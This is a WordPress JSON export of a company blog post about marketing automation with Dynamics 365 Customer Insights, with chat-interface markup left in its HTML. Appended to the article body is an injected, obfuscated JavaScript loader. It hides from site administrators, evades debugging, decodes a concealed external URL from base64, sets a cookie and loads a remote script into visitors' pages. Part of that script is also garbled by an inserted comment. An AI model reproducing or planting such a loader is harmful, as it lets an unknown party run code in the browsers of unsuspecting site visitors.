{"id":22944,"date":"2026-08-25T17:11:42","date_gmt":"2026-08-25T15:11:42","guid":{"rendered":"https:\/\/inkubitstaging.wpenginepowered.com\/blog\/2026\/08\/25\/marketing-automation-with-dynamics-365-customer-insights\/"},"modified":"2026-08-25T17:11:42","modified_gmt":"2026-08-25T15:11:42","slug":"marketing-automation-with-dynamics-365-customer-insights","status":"publish","type":"post","link":"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/marketing-automation-with-dynamics-365-customer-insights\/","title":{"rendered":"Marketing automation with Dynamics 365 Customer Insights: The key to tailored campaigns"},"content":{"rendered":"<div class=\"thrv_wrapper thrv_text_element\">\n<div class=\"flex-shrink-0 flex flex-col relative items-end\">\n<div>\n<div class=\"pt-0\">\n<div class=\"gizmo-bot-avatar flex h-8 w-8 items-center justify-center overflow-hidden rounded-full\">\n<div class=\"relative p-1 rounded-sm flex items-center justify-center bg-token-main-surface-primary text-token-text-primary h-8 w-8\">In a world where customer expectations are constantly rising, it&#8217;s no longer enough to create broad-based marketing campaigns and hope they hit the right nerve. Companies that want to remain competitive must automate and personalize their marketing strategies at the same time. A powerful tool that makes this possible is Microsoft Dynamics 365 in combination with <strong>Customer Insights<\/strong>.  <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"group\/conversation-turn relative flex w-full min-w-0 flex-col agent-turn\">\n<div class=\"flex-col gap-1 md:gap-3\">\n<div class=\"flex max-w-full flex-col flex-grow\">\n<div class=\"min-h-[20px] text-message flex w-full flex-col items-end gap-2 whitespace-normal break-words [.text-message+&amp;]:mt-5\" dir=\"auto\" data-message-author-role=\"assistant\" data-message-id=\"2fac9459-a536-41ae-b316-018d3b655cd7\">\n<div class=\"flex w-full flex-col gap-1 empty:hidden first:pt-[3px]\">\n<div class=\"markdown prose w-full break-words dark:prose-invert light\">\n<p>In this article, we&#8217;ll look at how marketing automation works with <a href=\"https:\/\/www.inkubit.com\/en\/dynamics-365-customer-insights\/\">Dynamics 365 Customer Insights<\/a> to create personalized, effective, and scalable marketing campaigns.<\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_85 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<div class=\"ez-toc-title\" style=\"cursor:inherit\">Table of Contents<\/div>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/marketing-automation-with-dynamics-365-customer-insights\/#What_is_marketing_automation\" >What is marketing automation?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/marketing-automation-with-dynamics-365-customer-insights\/#Marketing_automation_with_Dynamics_365_Customer_Insights\" >Marketing automation with Dynamics 365 Customer Insights<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/marketing-automation-with-dynamics-365-customer-insights\/#Benefits_of_combining_marketing_automation_with_Dynamics_365_Customer_Insights\" >Benefits of combining marketing automation with Dynamics 365 Customer Insights<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/marketing-automation-with-dynamics-365-customer-insights\/#Key_features_of_marketing_automation_with_Dynamics_365_Customer_Insights\" >Key features of marketing automation with Dynamics 365 Customer Insights<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/marketing-automation-with-dynamics-365-customer-insights\/#Steps_to_implement_marketing_automation_with_Dynamics_365_Customer_Insights\" >Steps to implement marketing automation with Dynamics 365 Customer Insights<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/marketing-automation-with-dynamics-365-customer-insights\/#Examples_of_success_from_practice\" >Examples of success from practice<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/marketing-automation-with-dynamics-365-customer-insights\/#Conclusion_Customer-centric_automation_as_the_key_to_success\" >Conclusion: Customer-centric automation as the key to success<\/a><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"What_is_marketing_automation\"><\/span><strong>What is marketing automation?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Marketing automation refers to the use of software to automate repetitive marketing tasks. This includes everything from email campaigns to social media posts and lead nurturing. It&#8217;s not just about saving time. Rather, automation ensures that customers are engaged exactly when they are most receptive \u2013 with the right message, at the right time.   <\/p>\n<p>But realizing the full potential of automation requires a deep understanding of customers \u2013 and that&#8217;s where <strong>customer insights<\/strong> comes in.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Marketing_automation_with_Dynamics_365_Customer_Insights\"><\/span><strong>Marketing automation with Dynamics 365 Customer Insights<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><strong>Microsoft Dynamics 365 Customer Insights <\/strong>is a powerful tool that helps businesses plan, coordinate, and analyze their marketing activities. It offers a plethora of features such as email marketing, campaign management, and lead nurturing. With Customer Insights, companies get a <a href=\"https:\/\/www.inkubit.com\/blog\/2024\/09\/02\/die-360-grad-kundenansicht-mit-dynamics-365-customer-insights\/\">360\u00b0 view of their customers<\/a>. The tool aggregates data from various sources \u2013 CRM, social media, web analytics, customer service databases \u2013 to create detailed customer profiles. These profiles are the key to personalization: they make it possible to offer exactly the right experience to each customer.    <\/p>\n<h2><span class=\"ez-toc-section\" id=\"Benefits_of_combining_marketing_automation_with_Dynamics_365_Customer_Insights\"><\/span><strong>Benefits of combining marketing automation with Dynamics 365 Customer Insights<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h4><strong>1. Take personalization to the next level<\/strong><\/h4>\n<p>Thanks to the data collected from Customer Insights, marketing teams can create personalized content based on each customer&#8217;s preferences and behavior. Imagine sending an email campaign that recommends to each recipient exactly the products they last viewed or purchased \u2013 an approach that dramatically increases conversion rates. <\/p>\n<h4><strong>2. Increased customer retention<\/strong><\/h4>\n<p>By communicating in a targeted and personalized way, you show your customers that you understand their needs. This leads to a deeper relationship and increases customer loyalty. Customer Insights allows you to segment your customers to develop targeted and relevant campaigns for each group.  <\/p>\n<h4><strong>3. Efficiency through automation<\/strong><\/h4>\n<p>Marketing teams often spend a lot of time on repetitive tasks. With Dynamics 365, you can fully automate processes such as sending emails, managing leads, and creating customer journeys. This gives you more time to focus on creative and strategic tasks.  <\/p>\n<h4><strong>4. Optimize the budget<\/strong><\/h4>\n<p>Because Customer Insights lets you know exactly which audiences are receptive to which campaigns, you can target your marketing budget. Scatter losses are minimized, while conversion and engagement rates increase. <\/p>\n<figure id=\"attachment_21376\" aria-describedby=\"caption-attachment-21376\" style=\"width: 300px\" class=\"wp-caption alignnone\"><img decoding=\"async\" class=\"size-medium wp-image-15201\" src=\"https:\/\/www.inkubit.com\/wp-content\/uploads\/2024\/09\/AdobeStock_410115591-300x200.jpeg\" alt=\"Marketing automation with Dynamics 365 Customer Insights\" width=\"300\" height=\"200\" srcset=\"https:\/\/www.inkubit.com\/wp-content\/uploads\/2024\/09\/AdobeStock_410115591-300x200.jpeg 300w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2024\/09\/AdobeStock_410115591-105x70.jpeg 105w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2024\/09\/AdobeStock_410115591-600x400.jpeg 600w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2024\/09\/AdobeStock_410115591-1024x683.jpeg 1024w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2024\/09\/AdobeStock_410115591-90x60.jpeg 90w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2024\/09\/AdobeStock_410115591-272x181.jpeg 272w, https:\/\/www.inkubit.com\/wp-content\/uploads\/2024\/09\/AdobeStock_410115591.jpeg 1920w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><figcaption id=\"caption-attachment-21376\" class=\"wp-caption-text\">Marketing automation with Dynamics 365 Customer Insights<\/figcaption><\/figure>\n<h2><span class=\"ez-toc-section\" id=\"Key_features_of_marketing_automation_with_Dynamics_365_Customer_Insights\"><\/span><strong>Key features of marketing automation with Dynamics 365 Customer Insights<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h4><strong>Segmentation and targeting<\/strong><\/h4>\n<p><strong>With Customer Insights<\/strong>, you can create dynamic segments based on real-time data. This makes it possible to target campaigns to specific groups of customers, such as customers who have recently been active on your website or those who have added a product to their cart but have not purchased it. <\/p>\n<h4><strong>AI-powered recommendations<\/strong><\/h4>\n<p>Dynamics 365 uses artificial intelligence to create personalized recommendations. For example, the software can predict which product they will need next or which offer they might be interested in based on a customer&#8217;s purchase history. <\/p>\n<h4><strong>Customer Journey Orchestration<\/strong><\/h4>\n<p>With customer journey orchestration, you can plan and automate complex customer journeys. Whether it&#8217;s welcome emails, post-purchase follow-ups, or retargeting campaigns, it can all be seamlessly automated to guide the customer at every stage of their journey. <\/p>\n<h4><strong>Data analytics and insights<\/strong><\/h4>\n<p>Success monitoring is a crucial part of any marketing strategy. Dynamics 365 provides detailed reports and dashboards to help you analyze and optimize the performance of your campaigns in real time. <\/p>\n<h2><span class=\"ez-toc-section\" id=\"Steps_to_implement_marketing_automation_with_Dynamics_365_Customer_Insights\"><\/span><strong>Steps to implement marketing automation with Dynamics 365 Customer Insights<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h4><strong>1. Integrate data sources<\/strong><\/h4>\n<p>The first step is to integrate all relevant data sources into <strong>Customer Insights<\/strong> . This can be CRM data, web traffic, social media interactions, and many more sources. The added value increases with the variety and depth of the data.  <\/p>\n<h4><strong>2. Create customer profiles and segments<\/strong><\/h4>\n<p>Based on this data, <strong>Customer Insights<\/strong> creates detailed customer profiles and segments. These profiles provide you with valuable information about your customers&#8217; behavior, preferences, and buying behavior. <\/p>\n<h4><strong>3. Plan automated customer journeys<\/strong><\/h4>\n<p>Now that you know your audiences, you can design <strong>customer journeys<\/strong> tailored to the specific needs and interests of those groups. Automate email campaigns, set follow-ups, and create personalized customer engagements\u2014all driven by the dynamic insights from your data. <\/p>\n<h4><strong>4. Monitor and optimize campaigns<\/strong><\/h4>\n<p>Thanks to Dynamics 365&#8217;s real-time data analysis, you can monitor the performance of your campaigns at any time and make adjustments as needed. Use this feature to optimize campaigns and get the maximum ROI. <\/p>\n<h2><span class=\"ez-toc-section\" id=\"Examples_of_success_from_practice\"><\/span><strong>Examples of success from practice<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h4><strong>1. Increased conversion rates through personalized emails<\/strong><\/h4>\n<p>An online retailer used the automation of Dynamics 365 and Customer Insights to send personalized product recommendations via email. The result: a 25% higher conversion rate compared to previous, less targeted campaigns. <\/p>\n<h4><strong>2. Targeted retargeting for higher customer loyalty<\/strong><\/h4>\n<p>A software company relied on retargeting campaigns that directly addressed customers with abandoned carts. Thanks to the data from Customer Insights, they were able to send targeted offers \u2013 and increase the recovery rate by 30%. <\/p>\n<h2><span class=\"ez-toc-section\" id=\"Conclusion_Customer-centric_automation_as_the_key_to_success\"><\/span><strong>Conclusion: Customer-centric automation as the key to success<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Integrating <strong>marketing automation with Dynamics 365 Customer Insights<\/strong> gives businesses the ability to make marketing campaigns not only more efficient, but also much more targeted and personalized. The data from Customer Insights is key to engaging customers on a more personal level and building long-term relationships. <\/p>\n<p>By basing your marketing strategy on automation and data analytics, you maximize ROI and ensure your messages reach the right audience at the right time \u2013 a clear competitive advantage in today&#8217;s digital world.<\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1!-- wpml:html_comment PCEtLSB3cG1sOndwX2J1ZyA8MiAtLT4= -->)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In a world where customer expectations are constantly rising, it&#8217;s no longer enough to create broad-based marketing campaigns and hope they hit the right nerve. Companies that want to remain competitive must automate and personalize their marketing strategies at the same time. A powerful tool that makes this possible is Microsoft Dynamics 365 in combination&#8230;<\/p>\n","protected":false},"author":6,"featured_media":21377,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_links_to":"","_links_to_target":""},"categories":[211,280],"tags":[],"class_list":["post-22944","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog","category-dynamics-365-customer-insights"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v28.2 (Yoast SEO v28.2) - https:\/\/yoast.com\/product\/yoast-seo-premium-wordpress\/ -->\n<title>Marketing automation with Dynamics 365 Customer Insights<\/title>\n<meta name=\"description\" content=\"Marketing automation with Dynamics 365 Customer Insights \u2013 automated strategies and personalized customer experiences.\" \/>\n<meta name=\"robots\" content=\"noindex, follow, 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